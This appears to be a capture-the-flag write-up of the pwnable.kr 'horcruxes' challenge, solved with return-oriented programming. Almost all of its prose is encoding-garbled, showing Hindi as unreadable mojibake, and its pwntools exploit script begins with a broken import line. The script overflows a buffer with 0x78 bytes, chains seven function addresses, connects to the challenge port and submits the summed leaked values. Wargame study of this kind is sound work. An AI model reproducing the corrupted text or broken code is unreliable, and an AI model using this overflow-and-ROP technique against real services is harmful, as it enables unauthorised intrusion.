рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо 21 рд╡реЗрдВ рдХрд╛рд░реНрдп рдХреЛ рд╕рд╛рдЗрдЯ рд╕реЗ рд╣рд▓ рдХрд░реЗрдВрдЧреЗ
pwnable.kr , рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдирд╛ рд╣реИред
рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЬрд╛рдирдХрд╛рд░реАрд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рд╕реВрдЪрдирд╛ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдХрд┐рд╕реА рднреА рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХреБрдЫ рдирдпрд╛ рд╕реАрдЦрдирд╛ рдФрд░ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдореИрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢реНрд░реЗрдгрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд▓рд┐рдЦреВрдВрдЧрд╛ рдФрд░ рдмрд╛рдд рдХрд░реВрдВрдЧрд╛:
- PWN;
- рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлреА (рдХреНрд░рд┐рдкреНрдЯреЛ);
- рдиреЗрдЯрд╡рд░реНрдХ рдЯреЗрдХреНрдиреЛрд▓реЙрдЬреАрдЬ (рдиреЗрдЯрд╡рд░реНрдХ);
- рд░рд┐рд╡рд░реНрд╕ (рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ);
- рд╕реНрдЯреЗрдЧреНрдиреЛрдЧреНрд░рд╛рдлрд╝реА (рд╕реНрдЯреЗрдЧреНрдиреЛ);
- WEB рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдФрд░ рдЙрдирдХрд╛ рджреЛрд╣рдиред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдореИрдВ рдЕрдкрдиреЗ рдЕрдиреБрднрд╡ рдХреЛ рдХрдВрдкреНрдпреВрдЯрд░ рдлреЛрд░реЗрдВрд╕рд┐рдХ, рдореИрд▓рд╡реЗрдпрд░ рдФрд░ рдлрд░реНрдорд╡реЗрдпрд░ рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг, рд╡рд╛рдпрд░рд▓реЗрд╕ рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рд╕реНрдерд╛рдиреАрдп рдХреНрд╖реЗрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╣рдорд▓реЗ, рдкреЗрдВрдЯреЗрд╕реНрдЯ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рдФрд░ рдХрд╛рд░рдирд╛рдореЗ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рд╛рдЭрд╛ рдХрд░реВрдВрдЧрд╛ред
рддрд╛рдХрд┐ рдЖрдк рдирдП рд▓реЗрдЦ, рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдмрд╛рд░реЗ
рдореЗрдВ рдЬрд╛рди рд╕рдХреЗрдВ, рдореИрдВрдиреЗ
рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдореЗрдВ рдПрдХ
рдЪреИрдирд▓ рдмрдирд╛рдпрд╛ рдФрд░ рдЖрдИрд╕реАрдбреА рдХреЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ
рдХрд┐рд╕реА рднреА рдореБрджреНрджреЗ рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ
рд╕рдореВрд╣ рдмрдирд╛рдпрд╛ред рд╕рд╛рде рд╣реА, рдореИрдВ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рдЖрдкрдХреЗ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЕрдиреБрд░реЛрдзреЛрдВ, рдкреНрд░рд╢реНрдиреЛрдВ, рд╕реБрдЭрд╛рд╡реЛрдВ рдФрд░ рд╕рд┐рдлрд╛рд░рд┐рд╢реЛрдВ рдкрд░
рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рд╡рд┐рдЪрд╛рд░
рдХрд░реВрдВрдЧрд╛ рдФрд░ рд╕рднреА рдХрд╛ рдЬрд╡рд╛рдм рджреВрдВрдЧрд╛ ред
рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рд▓реЗрдЦрдХ рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдкреНрд░рд╛рдкреНрдд рдЬреНрдЮрд╛рди рдФрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдХрд┐рд╕реА рдХреЛ рд╣реБрдП рдиреБрдХрд╕рд╛рди рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЬрд╝рд┐рдореНрдореЗрджрд╛рд░реА рдирд╣реАрдВ рдЙрдард╛рддрд╛ рд╣реИред
рд╣реЙрд░рдХреНрд░рдХреНрд╕ рдЦреЛрдЬ рдХрд╛ рд╕рдорд╛рдзрд╛рди
рдореБрдЭреЗ рдпрд╣ рдмрддрд╛рдиреЗ рдХрд╛ рдХреЛрдИ рдХрд╛рд░рдг рдирд╣реАрдВ рд╣реИ рдХрд┐ рд░рд┐рд╡рд░реНрд╕-рдУрд░рд┐рдПрдВрдЯреЗрдб рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдХреНрдпрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐
рдпрд╣ рд▓реЗрдЦ рдмрд╣реБрдд рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╕рдм рдХреБрдЫ
рдмрддрд╛рддрд╛ рд╣реИред
рд╣рдо horcruxes рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдЖрдЗрдХрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рд╣рдореЗрдВ рдмрддрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рд╣рдореЗрдВ рдкрд╛рд╕рд╡рд░реНрдб рдЕрддрд┐рдерд┐ рдХреЗ рд╕рд╛рде SSH рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдХрдиреЗрдХреНрдЯ рд╣реЛрдиреЗ рдкрд░, рд╣рдо рд╕рдВрдмрдВрдзрд┐рдд рдмреИрдирд░ рджреЗрдЦрддреЗ рд╣реИрдВред

рдЖрдЗрдП рдЬрд╛рдиреЗрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рдкрд░ рдХреМрди рд╕реА рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВ, рд╕рд╛рде рд╣реА рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдХреНрдпрд╛ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВред

рдПрдХ рд░реАрдбрдореА рдлрд╝рд╛рдЗрд▓ рд╣реИ, рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдЙрдиреНрд╣реЛрдВрдиреЗ рд╣рдореЗрдВ рдХреНрдпрд╛ рд╕рдВрджреЗрд╢ рдЫреЛрдбрд╝рд╛ред

рдпрд╣ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдХрд╛рд░реНрдпрдХреНрд░рдо рдкреЛрд░реНрдЯ 9032 рдкрд░ рдЪрд▓рддрд╛ рд╣реИред рд╣рдореЗрдВ рд╕реНрд░реЛрдд рдХреЛрдб рдирд╣реАрдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЕрдкрдиреЗ рд▓рд┐рдП рдХрд╛рд░реНрдпрдХреНрд░рдо рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВред
scp -P2222 horcruxes@pwnable.kr:horcruxes /root/

рдЗрд╕реЗ рдЖрдИрдбреАрдП рдореЗрдВ рдЪрд▓рд╛рдПрдВ рдФрд░ рдЗрд╕реЗ рдЕрдкрдШрдЯрд┐рдд рдХрд░реЗрдВред рддреАрди рджрд┐рд▓рдЪрд╕реНрдк рдХрд╛рд░реНрдп рд╣реИрдВ: рд╕рдВрдХреЗрдд, init_ABCDEFG, рдФрд░ ropmeред

рдирд╛рдо рд╕реЗ рджреЗрдЦрддреЗ рд╣реБрдП, рд╕рдВрдХреЗрдд рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдПрдХ рд╕рдВрдХреЗрдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдЪрд▓реЛ рдЙрд╕реЗ рджреЗрдЦрддреЗ рд╣реИрдВред

рдпрд╣ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ 7 рд╕реНрддрд░реЛрдВ рд╕реЗ рдЧреБрдЬрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЕрдЪреНрдЫрд╛, рдЪрд▓реЛ рд░реЛрдкрдореЗ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВред

рдкрд╣рд▓реЗ рд╕реЗ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдкред рдХрд╛рд░реНрдпрдХреНрд░рдо рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рдпрд╣ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рд╕рдВрджрд░реНрдн рдореВрд▓реНрдп рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИ, рддреЛ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдЗрд╕ рдорд╛рди рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред рдФрд░ рдЗрд╕рд▓рд┐рдП 7 рдЕрд░реНрде рд╣реИрдВред

рдпрджрд┐ рдХреЛрдИ рдорд┐рд▓рд╛рди рдирд╣реАрдВ рдерд╛, рддреЛ рд╣рдореЗрдВ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рджрд░реНрдЬ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдЪрд░ рд░рд╛рд╢рд┐ рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХрд░рддрд╛ рд╣реИред рддреЛ, рдЖрдЗрдП init_ABCDEFG рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВред

рдпрд╣рд╛рдВ, рд╕рдВрджрд░реНрдн рдорд╛рдиреЛрдВ рдХреА рд╢реБрд░реВрдЖрдд, рдЬреЛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд░реВрдк рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ, рд╣реЛрддреА рд╣реИред рдФрд░ рдпреЛрдЧ рдЗрди рд╕рдВрдЦреНрдпрд╛рдУрдВ рдХрд╛ рдпреЛрдЧ рд╣реИред
рд╣рдордиреЗ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рд╕реБрд▓рдЭрд╛ рд▓рд┐рдпрд╛ред рд╕рд░реНрдЪ рдЯреВрд▓рдЯрд┐рдк ROP рдХрд╣рддреА рд╣реИред рд╡рд┐рдЪрд╛рд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реИ, рд╣рдореЗрдВ рд╕рдВрджрд░реНрдн рдорд╛рдиреЛрдВ рдХреЛ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рд╕рднреА 7 рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рдЗрди рдореВрд▓реНрдпреЛрдВ рдХреЗ рдпреЛрдЧ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд┐рд░ рд╕реЗ рдХреЙрд▓ рдХрд░реЗрдВред
рдкреНрд░рд╛рдкреНрдд рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рд╣рдо рдкрддреЗ рдХреА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рд╕рд╛рде рд╡рд╛рдкрд╕реА рдкрддреЗ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред рд╣рдо рд╡рд╛рдкрд╕реА рдкрддреЗ рдкрд░ рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреА рдЧрдгрдирд╛ рдХрд░рддреЗ рд╣реИрдВред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рд╣рдореЗрдВ рд╕реНрдЯрдм рдХреЗ 0x78 рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рдкрдВрдХреНрддрд┐ 8 рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗред рдЖрдИрдбреАрдП рдореЗрдВ рд╣рдо рдЕрдкрдиреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдкрддреЗ рдвреВрдВрдврддреЗ рд╣реИрдВред

рдЕрдм рдПрдХ рд╢реЛрд╖рдг рд▓рд┐рдЦрддреЗ рд╣реИрдВред
rom pwn import * payload = "A" * 0x78 payload += p32(0x0809fe4b) payload += p32(0x0809fe6a) payload += p32(0x0809fe89) payload += p32(0x0809fea8) payload += p32(0x0809fec7) payload += p32(0x0809fee6) payload += p32(0x0809ff05) payload += p32(0x0809fffc) con = remote("pwnable.kr", 9032) con.recv() con.recv() con.send("123" + "\n") con.recv() con.send(payload + "\n") con.recv() ans = con.recv().split('\n') sum_result = 0 for i in range(1,8): sum_result += int(ans[i].split('+')[1].split(')')[0]) con.send("123" + "\n") con.send(str(sum_result) + "\n")

рд╣рдо рд╡рд╛рдВрдЫрд┐рдд рдзреНрд╡рдЬ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ рдФрд░ pwnable.kr рдкрд░ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдкрд╣рд▓реЗ рднрд╛рдЧ рдХреЛ рдкреВрд░рд╛ рдХрд░рддреЗ рд╣реИрдВред

рдЖрдк
рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдкрд░ рд╣рдорд╕реЗ рдЬреБрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдЧрд▓реА рдмрд╛рд░ рд╣рдо рдвреЗрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рд╕реЗ рдирд┐рдкрдЯреЗрдВрдЧреЗред